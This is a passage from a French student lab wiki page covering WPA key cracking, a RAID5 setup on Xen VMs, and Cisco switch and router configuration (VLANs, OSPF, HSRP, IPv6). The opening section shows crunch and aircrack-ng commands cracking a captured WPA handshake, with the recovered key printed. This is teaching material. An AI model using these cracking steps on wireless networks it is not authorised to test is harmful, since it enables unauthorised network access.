Une fois le handshake récupéré, on va créer un dictionnaire contenant les caractères que l'on pense être contenus dans la clé WPA et avec le nombre minimal et maximal de caractères ( 8 et 8, dans notre cas)&lt;br /&gt;
On utilise crunch : &lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt;&amp;gt; Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Ensuite on lance la commande qui va comparer le handshake et le dictionnaire :&lt;br /&gt;
 root@zabeth14:/home/pifou/Desktop/craquage WPA# aircrack-ng handshake-02.cap -w Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Puis on laisse tourner jusqu'à ce qu'il trouve la clé. (Bonne soirée...)&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Read 242831 packets.&lt;br /&gt;
   #  BSSID              ESSID                     Encryption&lt;br /&gt;
   1  04:DA:D2:9C:50:58  kracotte01                WPA (1 handshake)&lt;br /&gt;
 Choosing first network as target.&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Reading packets, please wait...&lt;br /&gt;
                                 Aircrack-ng 1.2 rc4&lt;br /&gt;
      [00:21:23] 10222228/102795810 keys tested (8175.38 k/s) &lt;br /&gt;
      Time left: 3 hours, 8 minutes, 43 seconds                  9.94%&lt;br /&gt;
                           KEY FOUND! [ 10222222 ]&lt;br /&gt;
      Master Key     : FB F0 0D 55 85 CC 0D A6 9B AA 68 CE 90 3D D2 84 &lt;br /&gt;
                       02 AD A6 12 3D 35 8A 2D 67 58 CF 0A 1B 99 30 B0 &lt;br /&gt;
      Transient Key  : C9 A5 CD E3 86 CC 6E B9 72 FE 47 B6 12 29 75 95 &lt;br /&gt;
                       70 B3 7E 31 05 0F C0 F5 53 92 7C 97 07 81 9D 90 &lt;br /&gt;
                       09 F2 0B 66 4C 6D 58 35 5E CC E2 5A 2A 25 D2 66 &lt;br /&gt;
                       18 36 5D 9D 57 30 A5 72 AA 89 55 1E 27 84 D1 3A &lt;br /&gt;
      EAPOL HMAC     : 2A 02 78 56 B1 DC 14 02 D1 27 54 6E 3D 0C 71 7E&lt;br /&gt;
&lt;br /&gt;
==Stockage Raid5==&lt;br /&gt;
&lt;br /&gt;
On crée les 3 disques de 1Go&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d1 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d2 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d3 virtual&lt;br /&gt;
&lt;br /&gt;
 cd /dev/virtual&lt;br /&gt;
&lt;br /&gt;
Faire pointer système de fichiers sur nos 3 disques. &lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d1&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d2&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d3&lt;br /&gt;
&lt;br /&gt;
on met a jour le fichier de config de la VM&lt;br /&gt;
&lt;br /&gt;
 root        = '/dev/xvda2 ro'&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d1,xvdb3,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d2,xvdb4,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d3,xvdb5,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
On retourne sur la VM et on installe mdadm&lt;br /&gt;
 apt-get install mdadm&lt;br /&gt;
&lt;br /&gt;
 mdadm --create /dev/md0 --level=5  --raid-devices=3 /dev/xvdb3 /dev/xvdb4 /dev/xvdb5&lt;br /&gt;
&lt;br /&gt;
result:&lt;br /&gt;
 mdadm: /dev/xvdb3 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb4 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb5 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
&lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/md0&lt;br /&gt;
&lt;br /&gt;
 mke2fs 1.43.4 (31-Jan-2017)&lt;br /&gt;
 Creating filesystem with 523776 4k blocks and 131072 inodes&lt;br /&gt;
 Filesystem UUID: 392e14e4-44b5-4782-89ea-75c8483fd41b&lt;br /&gt;
 Superblock backups stored on blocks: &lt;br /&gt;
 32768, 98304, 163840, 229376, 294912&lt;br /&gt;
 Allocating group tables: done                            &lt;br /&gt;
 Writing inode tables: done                            &lt;br /&gt;
 Creating journal (8192 blocks): done&lt;br /&gt;
 Writing superblocks and filesystem accounting information: done &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 mkdir /media/raid&lt;br /&gt;
&lt;br /&gt;
==Cryptage de fichiers==&lt;br /&gt;
&lt;br /&gt;
== Architecture Réseau ==&lt;br /&gt;
&lt;br /&gt;
Dans cette partie, vous trouverez comment nous avons configuré les routeurs ainsi que les commutateurs qui se trouve dans les salles E304 et E306.&lt;br /&gt;
&lt;br /&gt;
=== Bridge Cordouan ===&lt;br /&gt;
&lt;br /&gt;
Nous avons due modifier le bridge de cordouan afin de relier les 2 ports ethernets ensemble&lt;br /&gt;
&lt;br /&gt;
nano /ect/network/interfaces&lt;br /&gt;
    &lt;br /&gt;
    # Bridge for IMA2a5&lt;br /&gt;
    &lt;br /&gt;
    auto eth1 &lt;br /&gt;
    auto eth4&lt;br /&gt;
    iface eth1 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
    iface eth4 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
      &lt;br /&gt;
    auto IMA2a5&lt;br /&gt;
    iface IMA2a5 inet manual&lt;br /&gt;
      bridge_ports eth1 eth4&lt;br /&gt;
&lt;br /&gt;
Puis on réveille les ports à l'aide de Ifdown et Ifup&lt;br /&gt;
&lt;br /&gt;
=== Configuration des 2 commutateurs ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au commutateur, nous avons utilisé minicom avec un cable série directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le '''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Voici quelque commandes de base qui nous ont servi pour la configuration des commutateurs&lt;br /&gt;
&lt;br /&gt;
    enable           // passage en admin pour pouvoir accéder aux données du commutateur&lt;br /&gt;
&lt;br /&gt;
    write            // Sauvegarde de la configuration et l’implanter dans le commutateur&lt;br /&gt;
&lt;br /&gt;
    show interface status OU sh int status  // Montre l'état de toutes les interfaces présentes sur le commutateur ainsi que les données associées&lt;br /&gt;
&lt;br /&gt;
    configuration terminal    // permets d'accéder aux interfaces et ainsi pouvoir les modifier&lt;br /&gt;
&lt;br /&gt;
    exit             // permets de sortir du configurateur actuel (par exemple sortir de l'interface)&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports du commutateur ====&lt;br /&gt;
&lt;br /&gt;
Nous avons 4 connexions qui sont dirigées vers le commutateur de la salle E304 ainsi que celui en E306&lt;br /&gt;
 - Un lien vers le routeur&lt;br /&gt;
 - Un lien vers la borne wifi&lt;br /&gt;
 - Un lien vers Corduan&lt;br /&gt;
 - Un lien vers l'autre commutateur&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; style=&amp;quot;text-align: center;width: 85%;margin: auto;&amp;quot;&lt;br /&gt;
! Connexion !! E306 !! E304&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Corduan&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/1 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 1/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Borne Wifi&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/3 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 2/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Router&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 5/1(E306) &amp;amp; Ge 1/1(E304) &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 1/1(E306) &amp;amp; Ge 2/2(E304) &lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour la borne wifi =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    //Rendre accessible la modification du port&lt;br /&gt;
    switchport trunk encapsulation dot1q   //Encapsule avec la trame le numéro du Vlan associé, ce qui permettra de d'avoir de quel équipement viens le paquet ainsi la réponse sera dirigé vers le bon port&lt;br /&gt;
    switchport mode trunk   //Configure le port du switch en mode trunk, ce qui permets de ne pas avoir de restriction sur les Vlan, tous les Vlan peuvent passer à travers ce port&lt;br /&gt;
    no shut    //Démarre le port ou de le garder actif&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour Corduan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan42 //Autoriser le vlan 42 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour le router =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour l'autre routeur =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création des Vlan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 42&lt;br /&gt;
    name Corduan&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 2 à 7&lt;br /&gt;
    name groupe 1 à 6&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 130&lt;br /&gt;
    name interconnexion&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
Pour supprimer un vlan il suffit de faire :&lt;br /&gt;
    no vlan X&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E304 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyACM0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   ip routing&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.254   &lt;br /&gt;
   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.6 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   ipv6 unicast-routing&lt;br /&gt;
   conf t&lt;br /&gt;
   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
  enable                                                  &lt;br /&gt;
 &lt;br /&gt;
  configure terminal&lt;br /&gt;
 &lt;br /&gt;
  interface XXXX                         &lt;br /&gt;
  no ip address                            //Pas d'addresse IP associé&lt;br /&gt;
  negotiation auto                         //Détermine automatiquement la vitesse de transfert&lt;br /&gt;
  media-type RJ45                          //Type de connexion (ici RJ45)&lt;br /&gt;
&lt;br /&gt;
Voici les vlan associé à nos groupes :&lt;br /&gt;
 &lt;br /&gt;
  service instance 2 ethernet              // création d'un vlan 2 dans cette interface&lt;br /&gt;
  encapsulation dot1q 2                    // Permets d'assurer une continuité d'un VLAN issue d'un switch sur un routeur via un lien trunk&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric      // retire le tag du vlan &lt;br /&gt;
  bridge-domain 2                          //création d'un bridge domaine interface (BDI) attribué au chiffre 2&lt;br /&gt;
    &lt;br /&gt;
  service instance 3 ethernet&lt;br /&gt;
  encapsulation dot1q 3&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 3&lt;br /&gt;
    &lt;br /&gt;
  service instance 4 ethernet&lt;br /&gt;
  encapsulation dot1q 4&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 4&lt;br /&gt;
  &lt;br /&gt;
  service instance 5 ethernet&lt;br /&gt;
  encapsulation dot1q 5&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 5&lt;br /&gt;
    &lt;br /&gt;
  service instance 6 ethernet&lt;br /&gt;
  encapsulation dot1q 6&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 6&lt;br /&gt;
  &lt;br /&gt;
  service instance 7 ethernet&lt;br /&gt;
  encapsulation dot1q 7&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 7&lt;br /&gt;
&lt;br /&gt;
Voici le vlan associé à l'interconnexion :&lt;br /&gt;
 &lt;br /&gt;
  service instance 42 ethernet&lt;br /&gt;
  encapsulation dot1q 42&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 42&lt;br /&gt;
&lt;br /&gt;
======  Vers le SR 32 ======&lt;br /&gt;
  interface XXXX                        &lt;br /&gt;
  no ip address&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 130 ethernet&lt;br /&gt;
  encapsulation dot1q 130&lt;br /&gt;
  bridge-domain 130&lt;br /&gt;
   &lt;br /&gt;
&lt;br /&gt;
===== Configuration des BDI =====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface BDI1&lt;br /&gt;
   ip address 10.60.0.254 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI2&lt;br /&gt;
   ip address 10.60.1.254 255.255.255.000           //Attribut l'addresse IPV4 pour le routeur ainsi que son mask&lt;br /&gt;
   standby version 2                                //Activation du HSRP (Host service Routing protocole) version 2 plus stable que la 1&lt;br /&gt;
   standby 2 ip 10.60.1.252                       //Donne l'addresse  IPV4 du routeur virtuelle pour le HSRP                             &lt;br /&gt;
   standby 2 preempt                              // Activation du HSRP         &lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64      //Attribut l'addresse IPV6                             &lt;br /&gt;
   ipv6 enable                                      //Active l'addressage IPV6                              &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900  //Donner un préfixe IPV6 à chaque machine                              &lt;br /&gt;
   ipv6 nd router-preference high                    //IPV6 sera la route de préférence par défaut avec une forte probabilitée&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI3&lt;br /&gt;
   ip address 10.60.2.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252                                                     &lt;br /&gt;
   standby 3 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                       &lt;br /&gt;
   &lt;br /&gt;
   interface BDI4&lt;br /&gt;
   ip address 10.60.3.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252                                                     &lt;br /&gt;
   standby 4 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI5&lt;br /&gt;
   ip address 10.60.4.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252                                                    &lt;br /&gt;
   standby 5 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI6&lt;br /&gt;
   ip address 10.60.5.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252                                                      &lt;br /&gt;
   standby 6 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit  &lt;br /&gt;
   &lt;br /&gt;
   interface BDI7&lt;br /&gt;
   ip address 10.60.6.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252                                                      &lt;br /&gt;
   standby 7 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B7::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B7::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                                 &lt;br /&gt;
 &lt;br /&gt;
   interface BDI42&lt;br /&gt;
   ip address 193.48.57.173 255.255.255.240         &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172                                                     &lt;br /&gt;
   standby 42 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900                               &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   int vlan 130&lt;br /&gt;
   ip address 192.168.222.1 255.255.255.248         &lt;br /&gt;
   ipv6 address fe80::2 link-local                  &lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 rip tpima2a5 enable                        &lt;br /&gt;
   exit&lt;br /&gt;
   ip rooting&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E306 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour SR32 =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan130 //Autoriser le vlan 130 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour les commutateurs =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.253   &lt;br /&gt;
   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.8 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan1&lt;br /&gt;
   ip address 10.60.0.253 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan2&lt;br /&gt;
   ip address 10.60.1.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 2 ip 10.60.1.252&lt;br /&gt;
   standby 2 preempt&lt;br /&gt;
   exit&lt;br /&gt;
     &lt;br /&gt;
   interface Vlan3&lt;br /&gt;
   ip address 10.60.2.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252&lt;br /&gt;
   standby 3 preempt&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface Vlan4&lt;br /&gt;
   ip address 10.60.3.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252&lt;br /&gt;
   standby 4 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan5&lt;br /&gt;
   ip address 10.60.4.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252&lt;br /&gt;
   standby 5 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan6&lt;br /&gt;
   ip address 10.60.5.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252&lt;br /&gt;
   standby 6 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan7&lt;br /&gt;
   ip address 10.60.6.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2201:660:4401:60B7::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2201:660:4401:60B7::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252&lt;br /&gt;
   standby 7 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan42&lt;br /&gt;
   ip address 193.48.57.174 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172&lt;br /&gt;
   standby 42 preempt&lt;br /&gt;
   exit&lt;br /&gt;
          &lt;br /&gt;
   interface Vlan130&lt;br /&gt;
   ip address 192.168.222.2 255.255.255.248&lt;br /&gt;
   ipv6 address FE80::42:3 link-local&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==Sources==&lt;br /&gt;
https://rex.plil.fr/&lt;br /&gt;
